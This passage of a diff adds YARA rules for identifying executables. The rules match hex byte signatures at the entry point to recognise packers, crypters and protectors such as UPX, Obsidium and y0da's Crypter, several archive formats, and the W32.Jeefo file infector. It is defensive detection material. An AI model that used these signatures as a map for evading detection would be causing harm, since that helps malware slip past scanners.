+		$3 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+		$4 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _RLPack_118_Dll_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack 1.18 Dll (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+		$1 = {80 7C 24 08 01 0F 85 5C 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 ?? 8D B5 1A 04 00 00 8D 9D C1 02 00 00 33 FF E8 61 01 00 00 EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 ?? 83 C7 ?? 83 3C 37 00 75 EB 83 BD 06 04 00 00 00 74 0E 83 BD 0A 04 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 A7 03 00 00 89 85 16 04 00 00 5B FF B5 16 04 00 00 56 FF D3 83 C4 ?? 8B B5 16 04 00 00 8B C6 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PC_Guard_for_Win32_500__SofProBlagoje_Ceklic_h_
+{
+	meta:
+		description = "PC Guard for Win32 5.00 -> SofPro/Blagoje Ceklic (h)"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _AIN_Archive_
+{
+	meta:
+		description = "AIN Archive"
+	strings:
+		$0 = {21 12 00}
+		$1 = {21 11 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Password_Protector_for_the_UPX_030__g0d_
+{
+	meta:
+		description = "Password Protector for the UPX 0.30 -> g0d"
+	strings:
+		$0 = {C8 50 01 00 60 E8 EC 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 44 69 61 6C 6F 67 42 6F 78 49 6E 64 69 72 65 63 74 50 61 72 61 6D 41 00 53 65 6E 64 4D 65 73 73 61 67 65 41 00 45 6E 64 44 69 61 6C 6F 67 00 00 00 55 8B EC 57 BF 00 00 00 00 33 C0 81 6D 0C 10 01 00 00 75 03 40 EB 13 83 7D 0C 01 75 0D 66 83 7D 10 0B 75 0B FF 75 14 8F 47 E4 5F 5D C2 10 00 66 83 7D 10 02 77 F4 74 0E 8D 4F A0 51 6A 40 6A 0D FF 77 E4 FF 57 E8 50 FF 75 08 FF 57 EC EB DB 84 08 C8 90 00 00 00 00 01 00 64 00 64 00 64 00 14 00 00 00 00 00 45 00 6E 00 74 00 65 00 72 00 20 00 50 00 61 00 73 00 73 00 77 00 6F 00 72 00 64 00 00 00 A0 00 00 50 00 00 02 00 05 00 05 00 5A 00 0A 00 0B 00 FF FF 81 00 00 00 00 00 5E FC 8D BE AA FE FF FF 8D 86}
+		$1 = {C8 50 01 00 60 E8 EC 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 44 69 61 6C 6F 67 42 6F 78 49 6E 64 69 72 65 63 74 50 61 72 61 6D 41 00 53 65 6E 64 4D 65 73 73 61 67 65 41 00 45 6E 64 44 69 61 6C 6F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _y0das_Crypter_v11_
+{
+	meta:
+		description = "y0da's Crypter v1.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_092__094_PE_DLL_
+{
+	meta:
+		description = "UPX 0.92 - 0.94 [PE DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 00 00 00 00 60 BE 2B 00 00 00 8D BE D5 00 00 FF 57 83 CD FF EB 0D 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Adys_Glue_v010_
+{
+	meta:
+		description = "Ady`s Glue v0.10"
+	strings:
+		$0 = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+		$1 = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v133__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v1.33 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1364__Obsidium_Software__20090428_
+{
+	meta:
+		description = "Obsidium V1.3.6.4 -> Obsidium Software * 20090428"
+	strings:
+		$0 = {EB 02 ?? ?? 50 EB 04 ?? ?? ?? ?? E8 29 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 1E EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 33 C0 EB 04 ?? ?? ?? ?? 64 FF 30 EB 02 ?? ?? 64 89 20 EB 01 ?? EB 01 ?? 8B 00 EB 01 ?? C3 EB 02 ?? ?? E9 ?? ?? ?? ?? EB 02 ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _UC_2_EXE_24_
+{
+	meta:
+		description = "UC 2 EXE 2.4"
+	strings:
+		$0 = {50 1E 0E 1F FC 33 F6 E8 00 01 16 07 33 F6 33 FF B9 00 01 F3 A5 06 B8 5D 00 50 CB 03 ED FE CE 75 05 AD 8B E8 B6 10 13 DB C3 03 ED FE CE 75 05 AD 8B E8 B6 10 73 05 43 3A DA 75 EE C3 8A 97 39 30 BB 01 00 0A D2 74 07 E8 D1 FF FE CA 75 F9 8B C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_v0001_
+{
+	meta:
+		description = "Packman v0.0.0.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48}
+		$1 = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF 8D ?? ?? 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CRYPT_Version_17_c_Dismember_
+{
+	meta:
+		description = "CRYPT Version 1.7 (c) Dismember"
+	strings:
+		$0 = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+		$1 = {0E 17 9C 58 F6 ?? ?? 74 ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _W32Jeefo_PE_File_Infector_
+{
+	meta:
+		description = "W32.Jeefo (PE File Infector)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1331__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+		$1 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PolyBox_C__Anskya_
+{
+	meta:
+		description = "PolyBox C -> Anskya"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85 F6 0F 84 61 01 00 00 53 A1 1C 71 00 10 50 E8 E0 E1 FF FF 85 C0 0F 84 4D 01 00 00 50 E8 DA E1 FF FF 8B D8 85 DB 0F 84 3D 01 00 00 56 B8 70 80 00 10 B9 01 00 00 00 8B 15 98 41 00 10 E8 9E DE FF FF 83 C4 04 A1 70 80 00 10 8B CE 8B D3 E8 E1 E1 FF FF 6A 00 6A 00 A1 70 80 00 10 B9 30 44 00 10 8B D6 E8 F8 FD FF FF}
+		$1 = {55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85}
+		$2 = {55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85 F6 0F 84 61 01 00 00 53 A1 1C 71 00 10 50 E8 E0 E1 FF FF 85 C0 0F 84 4D 01 00 00 50 E8 DA E1 FF FF 8B D8 85 DB 0F 84 3D 01 00 00 56 B8 70 80 00 10 B9 01 00 00 00 8B 15 98 41 00 10 E8 9E DE FF FF 83 C4 04 A1 70 80 00 10 8B CE 8B D3 E8 E1 E1 FF FF 6A 00 6A 00 A1 70 80 00 10 B9 30 44 00 10 8B D6 E8 F8 FD FF FF}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _AVP_Antiviral_Database_
+{
+	meta:
+		description = "AVP Antiviral Database"
+	strings:
+		$0 = {41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61 74 61 62 61 73 65}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_12__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASProtect 1.2 -> Solodovnikov Alexey"
+	strings:
+		$0 = {68 01 ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Limited_
+{
+	meta:
+		description = "EXE2COM (Limited)"
+	strings:
+		$0 = {BE ?? ?? 8B 04 3D ?? ?? 74 ?? BA ?? ?? B4 09 CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v15x__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.5x -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC 58 02 00 00 53 56 57 83 A5 CC FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C 01 75 23}
+	condition:
+		$0 at entrypoint
+}
+rule _MultiEdits_compiled_macros_
+{
+	meta:
+		description = "MultiEdit`s compiled macros"
+	strings:
+		$0 = {1E AA}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyEnE_V001p__Lennart_Hedlund_
+{
+	meta:
+		description = "PolyEnE V0.01+ -> Lennart Hedlund"
+	strings:
+		$0 = {50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C}
+		$1 = {50 6F 6C 79 45 6E 45 00 4D 65 73 73 61 67 65 42 6F 78 41 00 55 53 45 52 33 32 2E 64 6C 6C}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PeX_v099_Eng__bartCrackPl_
+{
+	meta:
+		description = "PeX v0.99 (Eng) -> bart/CrackPl"
+	strings:
+		$0 = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 50 65 58 20 28 63 29 20 62 79 20 62 61 72 74 5E 43 72 61 63 6B 50 6C 20 62 65 74 61 20 72 65 6C 65 61 73 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 60 E8 01 00 00}
+		$1 = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_200_alpha_38_
+{
+	meta:
+		description = "PECompact 2.00 alpha 38"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F}
+	condition:
+		$0 at entrypoint
+}
+rule _CDCops_II_
+{
+	meta:
+		description = "CD-Cops II"
+	strings:
+		$0 = {53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _RECrypt_v07x__Crudd_RET_
+{
+	meta:
+		description = "RE-Crypt v0.7x -> Crudd [RET"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85}
+		$1 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC}
+		$2 = {60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Solidshield_Protector_V1X__Solidshield_Technologies__SignByfly_
+{
+	meta:
+		description = "Solidshield Protector V1.X -> Solidshield Technologies * Sign.By.fly"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 00 60 89 00 0A 00 00 00 46 33 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CDS_SS_v10_Beta_1__CyberDoom__TeamX_
+{
+	meta:
+		description = "CDS SS v1.0 Beta 1 -> CyberDoom / Team-X"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8}
+		$1 = {60 E8 00 00 00 00 5D 81 ED CA 47 40 00 FF 74 24 20 E8 D3 03 00 00 0B C0 0F 84 13 03 00 00 89 85 B8 4E 40 00 66 8C D8 A8 04 74 0C C7 85 8C 4E 40 00 01 00 00 00 EB 12 64 A1 30 00 00 00 0F B6 40 02 0A C0 0F 85 E8 02 00 00 8D 85 F6 4C 40 00 50 FF B5 B8 4E 40 00 E8 FC 03 00 00 0B C0 0F 84 CE 02 00 00 E8 1E 03 00 00 89 85 90 4E 40 00 8D 85 03 4D 40 00 50 FF B5 B8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SmartE__Microsoft_
+{
+	meta:
+		description = "SmartE -> Microsoft"
+	strings:
+		$0 = {EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06}
+		$1 = {EB 15 03 00 00 00 ?? 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 8F 07 00 00 89 85 83 07 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 2F 06 00 00 E8 8E 04 00 00 49 0F 88 23 06}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_v098b_DSES_not_saved_
+{
+	meta:
+		description = "aPack v0.98b (DS&ES not saved)"
+	strings:
+		$0 = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_14_by_North_Star_Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 1.4 by North Star (Liu Xing Ping)"
+	strings:
+		$0 = {8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53}
+		$1 = {8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 2D 01 13 8B 33 03 7B 04 57 51 52 53}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKZIP_Archive_
+{
+	meta:
+		description = "PKZIP Archive"
+	strings:
+		$0 = {50 4B 03 04}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_049__Hying_
+{
+	meta:
+		description = "PE-Armor 0.49 -> Hying"
+	strings:
+		$0 = {56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_
+{
+	meta:
+		description = "Borland C++"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? C1 E0 02 A3}
+		$1 = {A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76 05 2B CF FC F3 AA 59 5F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UCEXE_v23_v24_
+{
+	meta:
+		description = "UCEXE v2.3, v2.4"
+	strings:
+		$0 = {50 1E 0E 1F FC 33 F6 E8 ?? ?? 16 07 33 F6 33 FF B9 ?? ?? F3 A5 06 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V13X__vcasm_
+{
+	meta:
+		description = "VProtector V1.3X -> vcasm"
+	strings:
+		$0 = {00 00 00 00 55 73 65 72 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 64 69 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 00 00 00}
+		$1 = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68}
+		$2 = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 FF FF C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UPX_Alternative_stub_
+{
+	meta:
+		description = "UPX Alternative stub"
+	strings:
+		$0 = {B9 ?? ?? BE ?? ?? BF C0 FF FD}
+		$1 = {01 DB 07 8B 1E 83 EE FC 11 DB ED B8 01 00 00 00 01 DB 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeLock_100_
+{
+	meta:
+		description = "ExeLock 1.00"
+	strings:
+		$0 = {06 8C C8 8E C0 BE 17 00 26 8A 04 34 00 26 88 04 46 81 FE 0C 02 75 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoiner_01_Asm_Version__NEX_
+{
+	meta:
+		description = "N-Joiner 0.1 (Asm Version) -> NEX"
+	strings:
+		$0 = {6A 00 68 00 14 40 00 68 00 10 40 00 6A 00 E8 14 00 00 00 6A 00 E8 13 00 00 00 CC FF 25 AC 12 40 00 FF 25 B0 12 40 00 FF 25 B4 12 40 00 FF 25 B8 12 40 00 FF 25 BC 12 40 00 FF 25 C0 12 40 00 FF 25 C4 12 40 00 FF 25 C8 12 40 00 FF 25 CC 12 40 00 FF 25 D0 12}
+		$1 = {6A 00 68 00 14 40 00 68 00 10 40 00 6A 00 E8 14 00 00 00 6A 00 E8 13 00 00 00 CC FF 25 AC 12 40 00 FF 25 B0 12 40 00 FF 25 B4 12 40 00 FF 25 B8 12 40 00 FF 25 BC 12 40 00 FF 25 C0 12 40 00 FF 25 C4 12 40 00 FF 25 C8 12 40 00 FF 25 CC 12 40 00 FF 25 D0 12 40 00 FF 25 D4 12 40 00 FF 25 D8 12 40 00 FF 25 DC 12 40 00 FF 25 E4 12 40 00 FF 25 EC 12 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_1311__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.1.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
